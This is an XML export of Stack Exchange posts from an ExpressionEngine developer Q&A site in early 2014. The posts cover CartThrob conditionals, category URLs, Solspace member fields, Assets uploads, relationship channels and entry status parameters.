  <row Id="18206" PostTypeId="2" ParentId="17684" CreationDate="2014-01-08T23:20:35.707" Score="2" Body="&lt;p&gt;Try wrapping that cart_subtotal tag in quotes inside your conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tried this out and it worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:cartthrob:cart_subtotal prefix=&quot;&quot;}' &amp;gt;= '40'}&#xA;    Delivery Options Code&#xA;{if:else}&#xA;    This is the else statement&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked with subtotals containing decimal values and also worked if I specified a number with a decimal as the compare value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if prefix=&quot;no&quot; was just a mistype, but by adding prefix=&quot;no&quot; you're going to end up with something like &quot;no30&quot; as the subtotal value you're trying to compare. I think that will always evaluate as greater than 40.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-08T23:20:35.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18208" PostTypeId="2" ParentId="18097" CreationDate="2014-01-09T04:47:50.947" Score="1" Body="&lt;p&gt;I think GDmac's answer is the way to go. But I thought it would be fun to start on an extension....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to do the trick, though it is pretty bare-bones (no settings, not much detail in the message shown to the user).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-delete&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;member_delete&lt;/code&gt;&lt;/a&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function member_delete($member_ids)&#xA;{&#xA;&#xA;    // Array of member group_ids for which to restrict delete permissions&#xA;    $supervised_member_groups = array('7');&#xA;&#xA;    // Array of member group_ids for wich deletion is disallowed&#xA;    $protected_member_groups = array('5','6');&#xA;&#xA;    // The group_id of the current admin&#xA;    $current_admin_group_id = ee()-&amp;gt;session-&amp;gt;userdata('group_id');&#xA;&#xA;    // Check if the current admin is in the supervised member group&#xA;    if (in_array($current_admin_group_id, $supervised_member_groups))&#xA;    {&#xA;        // Generate an array of group_ids to which the deleted member(s) belong(s)&#xA;        $member_groups = array();&#xA;        $query = ee()-&amp;gt;db-&amp;gt;select('group_id')-&amp;gt;where_in('member_id', $member_ids)-&amp;gt;get('members');&#xA;        foreach ($query-&amp;gt;result() as $row) &#xA;        {&#xA;            array_push($member_groups, $row-&amp;gt;group_id);&#xA;        }&#xA;&#xA;        // Check if the deleted member belongs to one of the protected member groups &#xA;        // and if so throw an error&#xA;        $overlap = count(array_intersect($protected_member_groups, $member_groups));            &#xA;        if ($overlap) show_error('You are attempting to delete a member from a protected group. Please adjust your selection.');&#xA;    }&#xA;&#xA;    return $member_ids;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/twosixcode/cae6eec0ae3c963e5d07&quot; rel=&quot;nofollow&quot;&gt;Gist with full extension&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-09T04:47:50.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18209" PostTypeId="1" CreationDate="2014-01-09T05:52:30.563" Score="0" ViewCount="46" Body="&lt;p&gt;I have installed and managed to get the favorites module to work on a project I'm developing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can save and remove favorites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was doing this in Chrome and successfully viewed my favorites assigned to my user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However just checked in other browsers and my favorites simply don't show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this problem before ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. &lt;/p&gt;&#xA;" OwnerUserId="2586" LastActivityDate="2014-01-12T21:35:28.677" Title="Favorites Module - Browser Problem" Tags="|ee2|solspace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18210" PostTypeId="2" ParentId="18190" CreationDate="2014-01-09T06:05:45.260" Score="1" Body="&lt;p&gt;There isn't an option to filter the report directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option would be to export the report as CSV, and import it into Excel or another spreadsheet program, where you can filter and sort the data as necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could go through and manually delete orders which aren't paid within a certain timeframe. That way they wouldn't affect your report data.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-09T06:05:45.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18211" PostTypeId="2" ParentId="18054" CreationDate="2014-01-09T06:11:51.260" Score="1" Body="&lt;p&gt;That's a side effect of the fact that Store simply combines any products with the same modifiers. Unfortunately, if you don't change any modifiers, the products will become a single line item in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution would be to add a hidden modifier to the product, which you generate (either randomly or based on the dimensions). You can then use conditionals to hide this modifier in the checkout, so the only thing it will affect is the display of individual line items.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-09T06:11:51.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18212" PostTypeId="2" ParentId="18209" CreationDate="2014-01-09T07:27:37.153" Score="1" Body="&lt;p&gt;Did you login on every browser? I believe the default setting for Favorites is private.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-01-09T07:27:37.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18213" PostTypeId="2" ParentId="18198" CreationDate="2014-01-09T08:13:54.913" Score="1" Body="&lt;p&gt;You'd have to construct it yourself, most likely with the native &lt;code&gt;{categories}&lt;/code&gt; var pair. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot;}&#xA;    &amp;lt;a href=&quot;/recipes{categories}/{category_url_title}{/categories}/{url_title}&quot;&amp;gt;&#xA;        {title}&#xA;    &amp;lt;/a&amp;gt;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you can imagine how that turns out if your entry has a &lt;em&gt;lot&lt;/em&gt; of categories. Also, I'm not sure if the &lt;code&gt;{categories}&lt;/code&gt; var pair respects the order of the categories, based on parent/child relationship. It might be necessary to look for an add-on that gives you more control over the output of the entry's categories.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-09T08:13:54.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18214" PostTypeId="1" CreationDate="2014-01-09T09:43:33.400" Score="1" ViewCount="86" Body="&lt;p&gt;I've always had this problem with categories in EE. I want to be able &lt;em&gt;somehow&lt;/em&gt; to specify which categories show in the URL &amp;amp; a custom breadcrumb setup I've created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I had the following setup...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category Group 1&#xA;Category 1.1&#xA;Category 1.2&#xA;Category 1.3&#xA;Category 1.4&#xA;&#xA;Category Group 2&#xA;Category 2.1&#xA;Category 2.2&#xA;Category 2.3&#xA;Category 2.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both assigned to a channel called &quot;Products&quot;. Now every time I create a product I can choose which category the product goes in to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product 1, will go in Category 1.1, Category 1.2 and Category 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I output the categories and limit it to just 2 in the URL doing something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{site_url}products/{categories limit=&quot;2&quot;}{category_url_title}/{/categories}/{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would also pick up on the first two categories category...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://website.com/products/category-1-1/category-1-2/product-name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to make it specify which category to show?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an issue for one of our clients because they have MANY category groups and assign products to many categories. So if the groups were...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Group 1&#xA;Group 2&#xA;Group 3&#xA;Group 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still only displays the categories in the URL from Group 1, none of the others. Ideally this would help the SEO and the make the URL's make more sense if they could specify which categories appear in the URL.&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="362" LastEditDate="2014-01-09T14:13:42.350" LastActivityDate="2014-02-08T14:28:47.203" Title="Category / URL's Question" Tags="|categories|category-group|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18215" PostTypeId="1" AcceptedAnswerId="18236" CreationDate="2014-01-09T11:41:27.240" Score="0" ViewCount="77" Body="&lt;p&gt;I can capture custom order data as per the instructions at&#xA;&lt;a href=&quot;http://cartthrob.com/docs/tutorials/adding_custom_data_to_purchased_items_and_orders/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tutorials/adding_custom_data_to_purchased_items_and_orders/&lt;/a&gt; by using a field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:save_customer_info_form}&#xA;    &amp;lt;textarea name=&quot;delivery_note&quot; id=&quot;txt-delivery-note&quot; placeholder=&quot;Delivery note&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;{exp:cartthrob:customer_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That gets captured fine but I have a multi-step checkout and when you go back to the page this is on, I can't work out how to populate the field with the data that's been submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's on a page that has billing and shipping address fields and they all populate as expected but when I try to populate this custom data field as follows, the tag doesn't render:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;delivery_note&quot; id=&quot;txt-delivery-note&quot; placeholder=&quot;Delivery note&quot;&amp;gt;{delivery_note}&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on EE 2.7.2, CT Pro 2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-01-09T20:31:55.937" Title="Unable to retrieve custom order data on checkout step" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18216" PostTypeId="2" ParentId="18205" CreationDate="2014-01-09T13:07:53.323" Score="1" Body="&lt;p&gt;I'm afraid you're out of luck Tim. All you have left is numeric category IDs, which at best can tell you which entries were categorized the same - this might give you some clues as to which categories those IDs might have belonged to, but even that's a stretch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May I suggest you take a look a &lt;a href=&quot;http://devot-ee.com/add-ons/backup-pro&quot; rel=&quot;nofollow&quot;&gt;Backup Pro&lt;/a&gt; after this is resolved?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-09T13:07:53.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18217" PostTypeId="1" CreationDate="2014-01-09T13:35:29.097" Score="-3" ViewCount="45" Body="&lt;p&gt;i want the search results linked to the related page.i want to link the related pages to view detail and before it there would be text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In format&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Result1 &lt;strong&gt;&lt;em&gt;View detail&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Result2 &lt;strong&gt;&lt;em&gt;View detail&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would i do that..what should i write on result code and also how would i limit the character limit to result text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Neha&lt;/p&gt;&#xA;" OwnerUserId="2576" LastActivityDate="2014-01-10T11:30:16.507" Title="Search Module result" Tags="|search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18218" PostTypeId="1" CreationDate="2014-01-09T14:05:39.177" Score="2" ViewCount="79" Body="&lt;p&gt;Solspace's documentation seems to suggest I can generate a radio list from a customer member field if that member field is set to SELECT type.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This variable pair is a flexible method for creating pull-down menus, radio button arrays, etc. In the variable pair, you precede the short_name of the member field with select_ .&lt;a href=&quot;http://www.solspace.com/docs/user/edit/#select_custom_member_field&quot; rel=&quot;nofollow&quot;&gt;Link to Documenation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However I cannot work out how to do it. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-01-09T15:52:02.387" Title="Solspace User - Generating a Radio button from a custom member field" Tags="|solspace|solspace-user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18219" PostTypeId="2" ParentId="18214" CreationDate="2014-01-09T14:24:00.590" Score="2" Body="&lt;p&gt;If, as per your example, you only want to show categories from a certain group, you can use the &lt;code&gt;show_group=&quot;&quot;&lt;/code&gt; parameter on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories-tag-pair-parameters&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;{categories}&lt;/code&gt; variable pair&lt;/a&gt;. Creating the URLs would then look something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products{categories show_group=&quot;1&quot;}/{category_url_title}{/categories}/{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-09T14:24:00.590" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18220" PostTypeId="1" AcceptedAnswerId="18243" CreationDate="2014-01-09T14:25:11.730" Score="1" ViewCount="314" Body="&lt;p&gt;Now that all prices are including tax when the option 'included in price' is set in the settings menu, we appear to have multiple tags for prices inclusive of tax to use in templates inside the {exp:store:product} pair, but none to show the ex-tax price or even the current tax amount to run a quick php calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, we can use any of the following to show the price:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{price_inc_tax} // deprecated in 2.0&#xA;{regular_price}&#xA;{price}&#xA;{price_val}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but as far as I can see, there are no tags for _ex_tax or tax_val until the user gets to the checkout stage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There surely must be the ability to show the price &lt;em&gt;excluding tax&lt;/em&gt; now that prices are entered inclusive of tax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the user option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A - add prices ex tax and have the facility to display prices _inc_tax&#xA;OR&#xA;B - add prices inc tax and lose the option to display prices _ex_tax&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2014-01-09T18:26:24.583" LastActivityDate="2014-01-09T22:53:37.147" Title="Display store product prices excluding tax" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18221" PostTypeId="2" ParentId="18218" CreationDate="2014-01-09T14:36:38.683" Score="2" Body="&lt;p&gt;In theory, you would do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{select_CUSTOM_MEMBER_FIELD}&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;CUSTOM_MEMBER_FIELD&quot; value=&quot;{value}&quot; {selected} /&amp;gt; Custom Member Field Label&amp;lt;/label&amp;gt;&#xA;{/select_CUSTOM_MEMBER_FIELD}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, since &lt;code&gt;{selected}&lt;/code&gt; will output &lt;code&gt;selected=&quot;selected&quot;&lt;/code&gt;, when what you actually need is &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt;, I'm not sure how they figure this can be used for radio inputs. Maybe you can also use a variables named &lt;code&gt;{checked}&lt;/code&gt; which will populate based on the current value?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-09T14:36:38.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18222" PostTypeId="2" ParentId="18218" CreationDate="2014-01-09T15:52:02.387" Score="2" Body="&lt;p&gt;Thanks to Derek's help I was able to work up a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{select_CUSTOM_MEMBER_FIELD}&#xA;        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;CUSTOM_MEMBER_FIELD&quot; value=&quot;{value}&quot; {checked} /&amp;gt; {value}&amp;lt;/label&amp;gt;&#xA;    {/select_CUSTOM_MEMBER_FIELD}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-01-09T15:52:02.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18223" PostTypeId="1" AcceptedAnswerId="19017" CreationDate="2014-01-09T15:54:11.737" Score="0" ViewCount="278" Body="&lt;p&gt;Heyo,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got an Assets field in a Matrix. I can upload to S3 and Local upload directories while in the CP. When I try to upload to either S3 or local directories in my Channel Form page, I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Could not upload the file - server returned an unexpected response. Please check the server settings&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I replace the Assets field with a EE File fieldtype, it works fine, but we'd prefer to be using S3, hence the love for Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I haven't tried just a stand alone Assets field instead of a field in a matrix, but I don't think that will fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="203" LastEditorUserId="203" LastEditDate="2014-01-09T16:00:02.917" LastActivityDate="2014-02-02T01:43:51.330" Title="Assets Channel Form errors" Tags="|assets|pixelandtonic|channel-form|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18224" PostTypeId="1" AcceptedAnswerId="18229" CreationDate="2014-01-09T16:58:58.023" Score="4" ViewCount="387" Body="&lt;p&gt;I have two channels. One channel has a relationship field and is used to store a list of people giving me their name and a description of who they are and a couple other details. The other channel is a vehicle for listing quotes made by the people in the other channel. I use the name of a person (with the relationship field) to be displayed in the other channel when I call up a quote by that person. (I hope you can get a picture in your mind of what I've just said).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I'm using EE search:simple_form to search out words in the quotes and display the results. But I also want my users to search out and display a specific person and ALL the quotes that I've attributed to that person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a pipe to separate the two channels in the &quot;Channel=&quot; spot, but that didn't work. I could get results from the main quote channel but not the author channel. &#xA;I've search this Answers forum but most results point to third party products and it's just not worth spending more than $10 to get a third party product to do this. It's something I would really love to be able to do, but there's no return to justify my spending more money on this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also looked into building a Google custom search, but it seems they want money for that and the site that lets me try the search wasn't too impressive on my site either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, any help or ideas would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2587" LastActivityDate="2014-01-09T21:42:42.997" Title="Search two channels with a relationship field" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18225" PostTypeId="1" CreationDate="2014-01-09T17:10:03.973" Score="2" ViewCount="158" Body="&lt;p&gt;So I've seen similar questions to this one, but they dealt with P&amp;amp;T addons Matrix &amp;amp; Assets. The problem I am experiencing is with EE Native Grid &amp;amp; File fields when they are placed inside of a Low Variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is uploaded correctly, it's not a permissions issue. I can see the file in the file manager and use it in other fields on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Low Variable is a Grid type, and it's got a column that takes a file upload. When I select the file, it shows the thumbnail, but as soon as I click 'save changes', it is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I logged the DB queries that ran when saving the field, it showed that the file field is getting set to NULL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.7.3 and LV 2.4.0&lt;/p&gt;&#xA;" OwnerUserId="2338" LastActivityDate="2014-02-13T09:51:46.223" Title="File field inside Grid field inside Low Variable - File is not saved" Tags="|low-variables|grid|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18226" PostTypeId="1" AcceptedAnswerId="18228" CreationDate="2014-01-09T17:49:46.740" Score="4" ViewCount="1815" Body="&lt;p&gt;How can I create a variable that is pulled from a URL like the one below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &lt;a href=&quot;http://www.example.com/page.php?Item_ID=774&amp;amp;score=42&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/page.php?Item_ID=774&amp;amp;score=42&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to pull the number &quot;42&quot; from the url and placed into a form which is then emailed by the user.&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditDate="2015-02-02T11:17:24.310" LastActivityDate="2015-02-02T11:17:24.310" Title="Create a variable from a URL's Query String" Tags="|url|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18227" PostTypeId="2" ParentId="12234" CreationDate="2014-01-09T17:55:54.500" Score="1" Body="&lt;p&gt;I think this is a good candidate for the &lt;a href=&quot;https://github.com/expressodev/channel_query&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Channel Query&lt;/strong&gt;&lt;/a&gt; plugin. It has all of the features of &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, with the flexibility of the Query module. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_query &#xA;    sql=&quot;SELECT entry_id FROM exp_channel_titles WHERE /* your custom query here */&quot;&#xA;}&#xA;    &amp;lt;!-- all channel entries variables can be used here --&amp;gt;&#xA;{/exp:channel_query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your custom query gets the entry_id's that match your criteria. Then, because you've got all the parameters and variables that come with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;channel:entries tag&lt;/a&gt;, there should be no further querying for entries-related data needed. Just template as usual, as if you are using the native channel:entries tag.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-09T17:55:54.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18228" PostTypeId="2" ParentId="18226" CreationDate="2014-01-09T18:00:14.770" Score="10" Body="&lt;p&gt;Use &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot;&gt;&lt;strong&gt;Mo' Variables&lt;/strong&gt;&lt;/a&gt;. It will give you access to GET variables like this &lt;code&gt;{get:your_key}&lt;/code&gt; (in your case &lt;code&gt;{get:score}&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mo' Variables has many other uses, as well!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-09T18:00:14.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18229" PostTypeId="2" ParentId="18224" CreationDate="2014-01-09T18:15:09.110" Score="3" Body="&lt;p&gt;My reccomendation here is to create a dedicated relationship channel. It's a bit complex at first, but I promise a simple concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That channel looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IUmSg.png&quot; alt=&quot;Relationship Channel Fields&quot;&gt;&#xA;&lt;br&gt;&#xA;We use this structure, but with all these extra fields for extendability.&#xA;The kind of logic flow is using this channel to link two or more entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like you have people and vehicle listings.&#xA;Lets say Bob comments on Mustang: &quot;Bet she's fast!&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the relationship entry looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rel_id_a : bob_user_id&#xA;rel_id_b : mustang_entry_id&#xA;meta_a : &quot;Bet she's fast!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now, finding all comments for a particular listing works like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;relationship&quot; search:rel_id_b=&quot;={mustang_entry_id}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;p&amp;gt;{rel_id_a} said: {meta_a}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finding all comments for a user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;relationship&quot; search:rel_id_a=&quot;={user_id}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;p&amp;gt;{rel_id_a} said: {meta_a} on listing: {rel_id_b}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method is fast and Easy to implement. It provides a generic recycle-able channel. You can use this same channel to also hold relationships of many types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of all, its free and core to EE functionality, and I hope it helps you.&lt;/p&gt;&#xA;" OwnerUserId="1872" LastEditorUserId="1872" LastEditDate="2014-01-09T21:42:42.997" LastActivityDate="2014-01-09T21:42:42.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18230" PostTypeId="2" ParentId="18173" CreationDate="2014-01-09T18:28:49.767" Score="0" Body="&lt;p&gt;For some unknown reason, the exp_assets_selections table became blank and some point in the process. I restored a backup of the DB, and it works now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future ref: if Assets barfs, make sure there is data in the appropriate tables.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-01-09T18:28:49.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18231" PostTypeId="1" CreationDate="2014-01-09T18:49:42.393" Score="1" ViewCount="52" Body="&lt;p&gt;I'm not sure how best to ask this question, hopefully I do it justice...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this page: &lt;a href=&quot;http://www.aribalive.com/las-vegas-2014/agenda&quot; rel=&quot;nofollow&quot;&gt;http://www.aribalive.com/las-vegas-2014/agenda&lt;/a&gt; I use Playa to relate breakout sessions to specific agenda items (called Rotations).  When you click on the Rotations, the list of sessions associated with that agenda item is revealed.  Agenda items are a channel on their own, and Sessions are another channel.  This is all working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on the Breakout Session page (&lt;a href=&quot;http://www.aribalive.com/las-vegas-2014/breakouts&quot; rel=&quot;nofollow&quot;&gt;http://www.aribalive.com/las-vegas-2014/breakouts&lt;/a&gt;), I need to add an additional filter for Rotation, so as I'm looping through each Breakout Session in the channel loop, I need a way to find out which rotation (or rotations) each individual session has been associated with.  The Breakout page doesn't run a channel entry loop for the Agenda channel, and I'd really rather not run that for each individual breakout session since that would be massively inefficient... I'm hoping there's a Playa module tag that can take breakout session entry ID that will render data on entries it's been associated with...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="2588" LastActivityDate="2014-01-09T18:49:42.393" Title="Finding entries an entry is related to in Playa" Tags="|playa|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18232" PostTypeId="1" CreationDate="2014-01-09T19:20:10.960" Score="2" ViewCount="68" Body="&lt;p&gt;Is there any way to change the default statuses displayed by the channel:entries tag to &quot;not closed&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1818" LastEditorUserId="7884" LastEditDate="2017-03-07T15:07:29.637" LastActivityDate="2017-03-07T15:07:29.637" Title="Change default select statuses?" Tags="|channel-entries|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18233" PostTypeId="2" ParentId="18232" CreationDate="2014-01-09T19:37:52.550" Score="4" Body="&lt;p&gt;You need to add &lt;code&gt;status=&quot;not closed&quot;&lt;/code&gt; to your &lt;code&gt;channel:entries&lt;/code&gt; tags. If you do not specify a  &lt;code&gt;status&lt;/code&gt; parameter, it will always assume &lt;code&gt;open&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-09T19:37:52.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
